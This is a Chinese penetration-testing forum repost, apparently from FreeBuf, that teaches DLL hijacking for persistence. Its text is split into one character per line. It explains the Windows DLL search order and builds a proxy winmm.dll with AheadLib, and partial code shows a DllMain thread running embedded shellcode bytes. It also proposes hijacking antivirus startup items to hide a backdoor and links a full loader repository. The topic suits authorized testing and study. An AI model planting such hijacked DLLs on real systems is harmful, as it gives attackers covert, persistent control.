论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
渗透测试
[15641] 2020-07-23_内网渗透研究：dll劫持权限维持
文档创建者：
s7ckTeam
浏览次数：
2
最后更新：
2025-01-18
渗透测试
2 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-56
6万
主题
-6万
回帖
-56
积分
管理员
积分
-56
发消息
2020-07-23_内网渗透研究：dll劫持权限维持
内
网
渗
透
研
究
：
d
l
l
劫
持
权
限
维
持
L
D
r
a
k
u
r
a
F
r
e
e
B
u
f
2
0
2
0
-
0
7
-
2
3
本
文
所
采
用
技
术
，
仅
用
来
实
现
自
定
义
功
能
，
适
用
场
景
仅
为
授
权
的
测
试
中
进
行
权
限
维
持
或
为
个
人
电
脑
添
加
定
制
化
功
能
，
如
：
启
动
本
文
所
采
用
技
术
，
仅
用
来
实
现
自
定
义
功
能
，
适
用
场
景
仅
为
授
权
的
测
试
中
进
行
权
限
维
持
或
为
个
人
电
脑
添
加
定
制
化
功
能
，
如
：
启
动
Q
Q
同
时
启
动
计
算
器
，
方
便
实
用
同
时
启
动
计
算
器
，
方
便
实
用
~
0
×
0
1
D
L
L
劫
持
劫
持
当
一
个
可
执
行
文
件
运
行
时
，
W
i
n
d
o
w
s
加
载
器
会
将
P
E
(
P
o
r
t
a
b
l
e
E
x
e
c
u
t
a
b
l
e
F
i
l
e
F
o
r
m
a
t
)
文
件
映
射
到
内
存
中
，
然
后
分
析
可
执
行
文
件
的
导
入
表
，
并
将
相
应
的
D
L
L
文
件
装
入
，
E
X
E
文
件
通
过
导
入
表
找
到
D
L
L
中
相
应
的
函
数
，
从
而
运
行
相
应
的
函
数
。
导
入
表
中
只
有
D
L
L
名
，
并
不
存
在
任
何
路
径
信
息
，
因
此
W
i
n
d
o
w
s
加
载
器
必
须
在
磁
盘
上
搜
索
D
L
L
文
件
。
搜
索
顺
序
为
：
当
前
程
序
所
在
的
目
录
-
>
W
i
n
d
o
w
s
系
统
目
录
-
>
环
境
变
量
。
利
用
这
个
特
点
，
可
以
伪
造
一
个
系
统
同
名
D
L
L
放
在
程
序
目
录
下
，
当
提
供
相
同
的
输
出
表
，
当
E
X
E
加
载
D
L
L
时
会
首
先
会
搜
索
当
前
目
录
下
D
L
L
并
装
入
，
调
用
D
L
L
函
数
时
，
伪
造
的
D
L
L
将
程
序
所
调
用
的
函
数
全
部
转
发
至
系
统
真
实
D
L
L
中
，
并
在
此
过
程
中
完
成
恶
意
功
能
。
此
种
方
式
被
称
之
为
D
L
L
劫
持
。
在
W
i
n
d
o
w
s
7
及
以
上
系
统
采
用
了
K
n
o
w
n
D
L
L
s
注
册
表
位
置
：
H
K
E
Y
_
L
O
C
A
L
_
M
A
C
H
I
N
E
S
Y
S
T
E
M
C
u
r
r
e
n
t
C
o
n
t
r
o
l
S
e
t
C
o
n
t
r
o
l
S
e
s
s
i
o
n
M
a
n
a
g
e
r
K
n
o
w
n
D
L
L
s
在
此
项
下
的
D
L
L
会
被
禁
止
从
E
X
E
自
身
所
在
目
录
下
调
用
，
而
只
能
从
系
统
目
录
即
S
Y
S
T
E
M
3
2
目
录
下
调
用
0
x
0
2
生
成
生
成
D
L
L
劫
持
代
码
劫
持
代
码
利
用
P
r
o
c
c
e
s
s
可
以
查
看
进
程
加
载
的
D
L
L
，
选
择
合
适
的
D
L
L
，
这
里
选
择
的
是
w
i
n
m
m
.
d
l
l
w
i
n
m
m
.
d
l
l
是
W
i
n
d
o
w
s
多
媒
体
相
关
应
用
程
序
接
口
，
并
且
不
在
K
n
o
w
n
D
L
L
s
中
，
可
以
用
来
进
行
劫
持
。
首
先
使
用
A
h
e
a
d
L
i
b
生
成
D
L
L
劫
持
C
源
代
码
，
选
择
要
劫
持
的
D
L
L
：
生
成
代
码
(
已
略
去
大
段
导
出
代
码
)
：
生
成
代
码
长
度
和
输
出
表
有
关
。
0
x
0
3
编
写
新
编
写
新
D
L
L
使
用
V
S
2
0
1
5
（
2
0
1
x
都
行
吧
）
创
建
D
L
L
项
目
：
/
/
/
/
c
r
e
a
t
e
d
b
y
A
h
e
a
d
L
i
b
/
/
g
i
t
h
u
b
:
h
t
t
p
s
:
/
/
g
i
t
h
u
b
.
c
o
m
/
s
t
r
i
v
e
x
j
u
n
/
A
h
e
a
d
L
i
b
-
x
8
6
-
x
6
4
/
/
#
i
n
c
l
u
d
e
<
w
i
n
d
o
w
s
.
h
>
#
i
n
c
l
u
d
e
<
S
h
l
w
a
p
i
.
h
>
#
p
r
a
g
m
a
c
o
m
m
e
n
t
(
l
i
b
,
"
S
h
l
w
a
p
i
.
l
i
b
"
)
#
p
r
a
g
m
a
c
o
m
m
e
n
t
(
l
i
n
k
e
r
,
"
/
E
X
P
O
R
T
:
N
o
n
a
m
e
2
=
_
A
h
e
a
d
L
i
b
_
U
n
n
a
m
e
d
2
,
@
2
,
N
O
N
A
M
E
"
)
#
p
r
a
g
m
a
c
o
m
m
e
n
t
(
l
i
n
k
e
r
,
"
/
E
X
P
O
R
T
:
m
c
i
E
x
e
c
u
t
e
=
_
A
h
e
a
d
L
i
b
_
m
c
i
E
x
e
c
u
t
e
,
@
3
"
)
#
p
r
a
g
m
a
c
o
m
m
e
n
t
(
l
i
n
k
e
r
,
"
/
E
X
P
O
R
T
:
C
l
o
s
e
D
r
i
v
e
r
=
_
A
h
e
a
d
L
i
b
_
C
l
o
s
e
D
r
i
v
e
r
,
@
4
"
)
#
p
r
a
g
m
a
c
o
m
m
e
n
t
(
l
i
n
k
e
r
,
"
/
E
X
P
O
R
T
:
D
e
f
D
r
i
v
e
r
P
r
o
c
=
_
A
h
e
a
d
L
i
b
_
D
e
f
D
r
i
v
e
r
P
r
o
c
,
@
5
"
)
#
p
r
a
g
m
a
c
o
m
m
e
n
t
(
l
i
n
k
e
r
,
"
/
E
X
P
O
R
T
:
m
i
d
i
O
u
t
C
a
c
h
e
P
a
t
c
h
e
s
=
_
A
h
e
a
d
L
i
b
_
m
i
d
i
O
u
t
C
a
c
h
e
P
a
t
c
h
e
s
,
@
7
5
"
)
#
p
r
a
g
m
a
c
o
m
m
e
n
t
(
l
i
n
k
e
r
,
"
/
E
X
P
O
R
T
:
m
i
d
i
O
u
t
C
l
o
s
e
=
_
A
h
e
a
d
L
i
b
_
m
i
d
i
O
u
t
C
l
o
s
e
,
@
7
6
"
)
#
p
r
a
g
m
a
c
o
m
m
e
n
t
(
l
i
n
k
e
r
,
"
/
E
X
P
O
R
T
:
m
i
d
i
O
u
t
G
e
t
D
e
v
C
a
p
s
A
=
_
A
h
e
a
d
L
i
b
_
m
i
d
i
O
u
t
G
e
t
D
e
v
C
a
p
s
A
,
@
7
7
"
)
#
p
r
a
g
m
a
c
o
m
m
e
n
t
(
l
i
n
k
e
r
,
"
/
E
X
P
O
R
T
:
m
i
d
i
O
u
t
G
e
t
D
e
v
C
a
p
s
W
=
_
A
h
e
a
d
L
i
b
_
m
i
d
i
O
u
t
G
e
t
D
e
v
C
a
p
s
W
,
@
7
8
"
)
#
p
r
a
g
m
a
c
o
m
m
e
n
t
(
l
i
n
k
e
r
,
"
/
E
X
P
O
R
T
:
m
i
d
i
O
u
t
G
e
t
E
r
r
o
r
T
e
x
t
A
=
_
A
h
e
a
d
L
i
b
_
m
i
d
i
O
u
t
G
e
t
E
r
r
o
r
T
e
x
t
A
,
@
7
9
"
)
#
p
r
a
g
m
a
c
o
m
m
e
n
t
(
l
i
n
k
e
r
,
"
/
E
X
P
O
R
T
:
m
i
d
i
O
u
t
G
e
t
E
r
r
o
r
T
e
x
t
W
=
_
A
h
e
a
d
L
i
b
_
m
i
d
i
O
u
t
G
e
t
E
r
r
o
r
T
e
x
t
W
,
@
8
0
"
)
#
p
r
a
g
m
a
c
o
m
m
e
n
t
(
l
i
n
k
e
r
,
"
/
E
X
P
O
R
T
:
m
i
d
i
O
u
t
G
e
t
I
D
=
_
A
h
e
a
d
L
i
b
_
m
i
d
i
O
u
t
G
e
t
I
D
,
@
8
1
"
)
.
.
.
.
.
.
.
.
.
#
p
r
a
g
m
a
c
o
m
m
e
n
t
(
l
i
n
k
e
r
,
"
/
E
X
P
O
R
T
:
m
i
d
i
O
u
t
G
e
t
N
u
m
D
e
v
s
=
_
A
h
e
a
d
L
i
b
_
m
i
d
i
O
u
t
G
e
t
N
u
m
D
e
v
s
,
@
8
2
"
)
#
p
r
a
g
m
a
c
o
m
m
e
n
t
(
l
i
n
k
e
r
,
"
/
E
X
P
O
R
T
:
m
i
d
i
O
u
t
G
e
t
V
o
l
u
m
e
=
_
A
h
e
a
d
L
i
b
_
m
i
d
i
O
u
t
G
e
t
V
o
l
u
m
e
,
@
8
3
"
)
#
p
r
a
g
m
a
.
.
.
.
.
.
.
.
.
P
V
O
I
D
p
f
n
A
h
e
a
d
L
i
b
_
w
a
v
e
O
u
t
P
a
u
s
e
;
P
V
O
I
D
p
f
n
A
h
e
a
d
L
i
b
_
w
a
v
e
O
u
t
P
r
e
p
a
r
e
H
e
a
d
e
r
;
P
V
O
I
D
p
f
n
A
h
e
a
d
L
i
b
_
w
a
v
e
O
u
t
R
e
s
e
t
;
P
V
O
I
D
p
f
n
A
h
e
a
d
L
i
b
_
w
a
v
e
O
u
t
R
e
s
t
a
r
t
;
P
V
O
I
D
p
f
n
A
h
e
a
d
L
i
b
_
w
a
v
e
O
u
t
S
e
t
P
i
t
c
h
;
P
V
O
I
D
p
f
n
A
h
e
a
d
L
i
b
_
w
a
v
e
O
u
t
S
e
t
P
l
a
y
b
a
c
k
R
a
t
e
;
P
V
O
I
D
p
f
n
A
h
e
a
d
L
i
b
_
w
a
v
e
O
u
t
S
e
t
V
o
l
u
m
e
;
P
V
O
I
D
p
f
n
A
h
e
a
d
L
i
b
_
w
a
v
e
O
u
t
U
n
p
r
e
p
a
r
e
H
e
a
d
e
r
;
P
V
O
I
D
p
f
n
A
h
e
a
d
L
i
b
_
w
a
v
e
O
u
t
W
r
i
t
e
;
P
V
O
I
D
p
f
n
A
h
e
a
d
L
i
b
_
w
i
d
3
2
M
e
s
s
a
g
e
;
P
V
O
I
D
p
f
n
A
h
e
a
d
L
i
b
_
w
o
d
3
2
M
e
s
s
a
g
e
;
s
t
a
t
i
c
H
M
O
D
U
L
E
g
_
O
l
d
M
o
d
u
l
e
=
.
.
.
.
.
.
p
f
n
A
h
e
a
d
L
i
b
_
w
a
v
e
O
u
t
G
e
t
V
o
l
u
m
e
=
G
e
t
A
d
d
r
e
s
s
(
"
w
a
v
e
O
u
t
G
e
t
V
o
l
u
m
e
"
)
;
p
f
n
A
h
e
a
d
L
i
b
_
w
a
v
e
O
u
t
M
e
s
s
a
g
e
=
G
e
t
A
d
d
r
e
s
s
(
"
w
a
v
e
O
u
t
M
e
s
s
a
g
e
"
)
;
p
f
n
A
h
e
a
d
L
i
b
_
w
a
v
e
O
u
t
O
p
e
n
=
G
e
t
A
d
d
r
e
s
s
(
"
w
a
v
e
O
u
t
O
p
e
n
"
.
.
.
.
.
.
E
X
T
E
R
N
_
C
_
_
d
e
c
l
s
p
e
c
(
n
a
k
e
d
)
v
o
i
d
_
_
c
d
e
c
l
A
h
e
a
d
L
i
b
_
w
o
d
3
2
M
e
s
s
a
g
e
(
v
o
i
d
)
{
_
_
a
s
m
j
m
p
p
f
n
A
h
e
a
d
L
i
b
_
w
o
d
3
2
M
e
s
s
a
g
e
;
}
将
代
码
拷
贝
到
d
l
l
m
a
i
n
.
c
p
p
中
：
在
w
i
n
m
m
_
f
b
.
c
p
p
文
件
中
实
现
自
定
义
功
能
：
D
l
l
M
a
i
n
函
数
是
D
L
L
的
入
口
函
数
，
在
D
l
l
M
a
i
n
(
)
函
数
中
创
建
线
程
调
用
该
功
能
（
记
得
添
加
声
明
）
：
修
改
好
代
码
后
编
译
u
n
s
i
g
n
e
d
c
h
a
r
s
h
e
l
l
c
o
d
e
[
]
=
"
x
b
f
x
6
e
x
4
a
x
2
5
x
0
8
x
d
9
x
e
b
x
d
9
x
7
4
x
2
4
x
f
4
x
5
d
x
3
3
x
c
9
x
b
1
"
"
x
3
1
x
3
1
x
7
d
x
1
3
x
0
3
x
7
d
x
1
3
x
8
3
x
c
5
x
6
a
x
a
8
x
d
0
x
f
4
x
9
a
x
a
e
"
"
x
1
b
x
0
5
x
5
a
x
c
f
x
9
2
x
e
0
x
6
b
x
c
f
x
c
1
x
6
1
x
d
b
x
f
f
x
8
2
x
2
4
x
d
7
"
H
A
N
D
L
E
h
T
h
r
e
a
d
1
=
C
r
e
a
t
e
T
h
r
e
a
d
(
N
U
L
L
,
0
,
r
u
n
,
N
U
L
L
,
0
,
N
U
L
L
)
;
0
x
0
4
D
L
L
劫
持
劫
持
修
改
D
L
L
名
称
为
w
i
n
m
m
.
d
l
l
，
并
放
入
Q
Q
的
e
x
e
目
录
下
：
打
开
Q
Q
:
Q
Q
与
计
算
器
同
时
启
动
功
能
就
实
现
了
~
~
在
授
权
的
测
试
中
利
用
该
种
方
式
实
现
的
s
h
e
l
l
c
o
d
e
加
载
，
可
以
依
托
于
正
常
启
动
项
（
比
如
杀
毒
软
件
？
）
，
通
过
正
常
开
机
启
动
项
创
建
线
程
，
执
行
相
应
的
s
h
e
l
l
c
o
d
e
，
更
为
隐
蔽
的
进
行
权
限
维
持
。
也
可
以
劫
持
相
关
软
件
，
实
现
触
发
式
s
h
l
l
c
o
d
e
执
行
，
制
作
触
发
式
后
门
进
行
权
限
维
持
，
在
特
定
条
件
下
执
行
s
h
e
l
l
c
o
d
e
。
0
x
0
5
后
记
后
记
完
整
代
码
:
D
L
L
h
i
j
a
c
k
-
S
h
e
l
l
c
o
d
e
L
o
a
d
e
r
:
h
t
t
p
s
:
/
/
g
i
t
h
u
b
.
c
o
m
/
L
D
r
a
k
u
r
a
/
D
L
L
h
i
j
a
c
k
-
S
h
e
l
l
c
o
d
e
L
o
a
d
e
r
高
清
文
件
：
链
接
:
h
t
t
p
s
:
/
/
p
a
n
.
b
a
i
d
u
.
c
o
m
/
s
/
1
4
9
P
B
c
Z
5
O
m
S
A
5
C
l
t
8
L
P
l
Z
f
g
提
取
码
:
j
8
t
x
参
考
：
A
h
e
a
d
L
i
b
:
h
t
t
p
s
:
/
/
g
i
t
h
u
b
.
c
o
m
/
s
t
r
i
v
e
x
j
u
n
/
A
h
e
a
d
L
i
b
-
x
8
6
-
x
6
4
精
彩
推
荐
精
彩
推
荐
阅
读
原
文
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页
发表
渗透测试